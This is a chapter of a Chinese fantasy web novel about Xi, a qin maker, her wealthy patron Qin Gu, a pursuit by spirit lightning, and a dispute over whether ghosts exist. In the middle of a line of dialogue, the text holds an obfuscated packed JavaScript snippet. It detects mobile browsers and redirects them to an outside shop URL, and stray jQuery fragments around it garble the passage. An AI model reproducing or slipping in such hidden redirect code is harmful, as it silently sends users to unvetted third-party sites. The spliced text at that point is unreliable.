听见她的话,对面人却既不欢喜也无质疑,只静默片刻,道:“那么,请回答我三个问题。方才那曲,何名?何人所作?有何特别之处?”
这是合作之前先要考验一番。羲嘴角抽了抽,还是一一答道:“此曲名凤栖。
“相传很久以前,有位神明游历时遇见凤凰落在梧桐上,于是有感而发,仿其声形创制了琴,据说此曲也是由那位神仙所作。
“此曲韵味因心性而变,或雅或俗,或悲或喜,都只在一念之间。”
她自认回答得还算不错,正垂眸想着要不要补充什么,却听得头顶传来一声很轻的笑。
旁边有路人惊呼道:“我没看错吧,公子居然笑了?我听了公子两年的琴,从没见他笑过啊!”
“……”羲胆寒地抬头看向“公子”,只见那薄唇果然弯起了很小的弧度,“公子”后退一步,竟双手举过头顶向她躬身一揖:“那么,琴古就先行谢过姑娘,静候佳音了。”
*
琴古带着羲来到本地最大的酒楼,做东请她吃了豪华早餐,顺便聊了一些制琴方面的要求。他特别强调喜欢通体圆润的混沌制式,羲认为他很有眼光。
饭吃得差不多了,话也说到尾声了,羲看着桌上的剩菜,纠结怎样开口带回去给余容吃才显得不刻意,但琴古却已付了钱,率先走出雅间。
羲心里滴血,也只得赶紧跟上,两人前后出了酒楼,羲搓着手问:“请问,就是那个……那方面的事情,怎么说?”
琴古看着她,冰块脸上露出一丝迷茫:“什么?”
眼看这人不开窍,羲也顾不得再委婉,有话直说了:“阁下想要好琴,那也得给我足够的报酬吧,总额多少?定金和尾款怎么分?能否在年底前结清?”
她忍着谈钱的羞耻开了口,琴古却突然绷住神色,漆黑的眸子里似乎透出一丝不可置信:“你怎么……”
他欲言又止,别过头去。羲一时愣住,随即脸颊便有些发烫,但她无法放弃这个挣大钱的好机会,只能佯装不在意地继续道:“不食人间烟火的乐修大人,伯牙子期的故事听多了吗?可惜我们斫琴人皆以神农为榜样,不爱做伯牙。”
琴古道:“报酬四十两,定金二十,尾款二十……满意吗?”
他又一次笑了,却与上次不一样。方才两人一番相处,他虽始终面色平淡、举止清冷,却客气礼貌,并未让人觉得分毫不适,可眼下这笑,竟是分明多了几分恼火的意味。
羲的心一沉,也冷笑道:“四十两银子换一把好琴,阁下也不吃亏,何必摆这么大架子?”
琴古冷冷吐出两个字:“黄金。”
“…………”
羲脸上的冷一点点碎开了。如同冰雪消融万物复苏,身边带着寒意的风都霎时畅快起来,这阵风一股脑吹跑了她所有不快,就连昨晚不幸撞鬼的烦恼也烟消云散了。
她原本还想博个面子、争个高低,想不为五斗米折腰,想哗啦啦地把对方的钱扔回去,但此刻听见那两个字就什么都明白了,哪有什么是非对错礼义廉耻,归根结底就四个字——
钱不够多!
于是羲站直身体,露出一个发自内心的笑容:“贵客,我们待会可以去木材铺子走一走,您挑一块最中意的,如果找不到,也可以去山里寻,此地经常打雷,定然不缺雷击木。”
琴古懒得理她,扭头便朝着集市走去,羲也气不起来,隔着几尺的距离跟着。路过的百姓不时给琴古打个招呼,随即看见后面的人,都露出八卦的神情。
两人走了没多远,忽听街头传来一声喊:“美人?”
是司婉的声音。羲驻足看去,只见她正抱着一摞卷宗站在拐角,旁边还站着一人,抱着比自己头都高的卷宗,被完全挡住了。
那人从侧面探出个脑袋,正是余容。他一看见羲便惊喜地笑了,问:“你怎么一个人出来了?我们正要回去呢,呐,司婉还给大家买了早饭。”
“可不是一个人啊,”司婉啧啧地道,“旁边那位公子平时从不与人走近,不愧是美人啊,什么奇人轶事都能被你碰上。”
听她所言,余容才把视线移向羲身边的琴古,问道:“……这位是?”
琴古不语,只淡淡地垂下眼睛。羲道:“是刚认识的雇主。”又问,“你们这是在做什么?”
司婉带着余容走近了,神秘地道:“美人你昨夜让我查的东西,我们天一亮就出发去查了。北斗阁平时和官府很少有往来,我求爷爷告奶奶,说不帮我就把龚老太太塞回官府里,那长官才同意我把一些暂时用不上的旧卷宗拿回来查。”
羲点头道:“有劳了。”
余容道:“既然遇到新朋友,来者是客,不如一起到北斗阁吃个早饭?”
一提到早饭,羲想起来酒楼雅间里剩下的那半桌佳肴,惭愧地道:“方才吃过了,眼下我要和这位雇主去办些事情。”
琴古向对面二人躬身一揖,司婉点点头,余容下意识地想回礼,但两手上的卷宗晃了晃,险些倒下来,他忙站直身子稳住这堆小山,又冒出头对羲和琴古微笑道:“那我和司婉就先回北斗阁了,羲,我们天黑时再到龚老太太家见面吧。”
他们二人摇摇晃晃地走了,琴古则领着羲去市集绕了一圈,没挑见心仪的木材,两人便又出城赶往雷山,在不算茂密的林中四处探访。
期间偶遇一名推着满车木头回城的中年女子,羲朝她车里多瞟了两眼,没看见好木材,却被狠狠瞪了一眼,当即不敢再看。
山林中倒确实有不少雷击木,只可惜大多年头太短,不是做琴的良材。羲和琴古逛了一会,一无所获。担心贵客不耐烦,羲安慰他道:“过几日我们可以去其他地方找找,这附近还是太荒凉了。”
话没说完,身后的雷山忽然发出一声闷响。
羲疑惑地回头看去,只见重山深处竟冒出密集的紫光,不过须臾,便汇成一束强光直冲云霄,密密麻麻地在空中急速蔓延。
下一刻,一道巨雷直直朝着他们霹下!
羲当即甩出灵符,化成一只大金鼎护住二人,琴古抬头望了望这只金鼎,又看了她一眼:“……符?”
头顶的雷光毫不减弱,持续地压迫着这防护法术,发出刺耳欲聋的声响。羲蹙了蹙眉,这金鼎目前还算安稳,但也无法强撑太久,便道:“贵客,请跟紧我,靠它回到城内吧。”
说完,她意识到好像哪里不对:“公子”不是成纪的避雷高手吗?哪里需要她来照顾?
果不其然,再一抬眼,便见琴古已经执琴在手,右手手指扫过琴弦,道道白光便随着巍峨琴音倾泻而出,与那半空中的雷电对上,竟硬生生将其逼得改了道!
羲稍微松了一口气,却听得天上连声闷响,抬头一看,只见又有一连串雷电接连向他们落下,视线都亮得模糊了。
她被一根金链捆住身体提了起来,以飞快的速度向城门处掠去。琴古一手拎她一手施术,将追击的雷光一一击退,羲看着身后的黄土山坡激起的烟尘,忍不住要为这般本领拍手叫好了。
不过还没等她把两只手合在一起,琴古已带她飞身进了城门,追来的雷电都被金色屏障挡在外面,没多久便悻悻退下。
有路人惊恐地张望:“怎么白天也开始打雷了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949372|214136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”
旁人安慰他:“怕什么啊,公子和法阵都在这,啥事没有啊。”
雷声渐歇,围观人群互相开导一番,看着城门口的琴古和他手里提着的羲,都掩着笑容快速走远了。
羲整理好衣服,长舒一口气,道:“感觉雷像是在追着我们霹?”
琴古道:“此雷有灵。”
当然有灵了,羲默默地想。这毕竟是十九年前,从九玄天上坠落下来的“宝贝”。
但思及此,她似乎明白了些什么。龚老太说过一般只有初一十五才会打雷,可昨夜他们刚来此地,雷山便爆发了强烈的雷暴;方才的路人说往常白日不会打雷,可他们出城没过多久,就被雷追着霹了回来。
或许正是因为,这藏在深山中的“雷”,感应到了羲和另一件神物的气息,做出激动的回应。
正想着,琴古问道:“你是符修?”
羲嗯了一声。
琴古沉默片刻,道:“你是修士,身上为何没有灵力?为何,没有灵力,却能催动那么强大的符咒?”
这是懂行的。寻常修士御物化术,靠的都是修出来的灵力,符修似乎有些不同,但也并不是例外,即便他们做什么都可以靠画符解决,但所制灵符的强弱,也会受到符纸的材质、笔墨的灵力和画符者修为强弱等因素的影响。
方才那只仅由一张符化出的、却足以抵御天雷的金鼎,可不该是周身一丝灵力都没有的符修能画出来的。
羲拿出袖中的玉木毛笔,展示给他看:“此乃上佳之法器,看似与寻常毛笔无异,但其实内藏丰裕灵力,做出的灵符自是绝不逊色。”
她手中那物,乍一看平平无奇,但一旦受物主催动,其上灵光流转变幻,绝非凡物。有此神器在手,自然是如虎添翼……如猫添翼,让那些没翅膀的老虎有劲追不上,馋得嗷嗷叫。
琴古道:“明白了。”
眼见太阳西斜,羲想起和余容的约定,礼貌道了个别,便朝着西北方向赶去。
但没走几步,她就注意到身后的脚步声,心想人家可能恰好顺路了,不必在意……直到她七拐八拐了好几个路口,那人还不紧不慢地跟在后面,她终于忍不住回头道:“请问,为何一直跟着我?”
琴古反问:“只许你跟着我,不许我跟着你吗?”
羲一噎,心中默念四十两黄金,闷头继续赶路。身后人又道:“再往西北走,就是成纪最落魄的地方了,你住在那里?”
他这句话说得平平淡淡,倒是没听出什么意思。羲摇摇头,道:“你知道龚老太太吗?家中闹鬼的那位。”
“如果你说的是上个月去官府门口哭了四日的那个疯子,知道。”
“……”羲道,“可她没有疯,除了她,还有人见过她家里的鬼。”
琴古道:“那就是和她一样的疯子,何必理会。”
羲压下心头恼火:“怎能如此武断?一个人说见到鬼,有可能是疯了,难道两个人、三个人见到了,也都是疯了吗?”
“为什么不能?”琴古淡声道,“世上无鬼,三界志中也从未记录过此物。无中生有胡言乱语的人,不是疯子是什么?”
“三界志未必没有疏漏,你怎么就确定世上无鬼?”
“我确定。”琴古道,“我就是知道,世上从来无鬼。”
羲一时愣住了。这是他们自早上相识以来,他说过的最有情绪的一句话,语气甚至比他听见她要钱后隐隐透出的不满更加冰冷,透着很深的孤寂。
她不想再同此人争论,拐过一个路口,在暖融融的夕阳余晖里,看见了破败小院外熟悉的身影。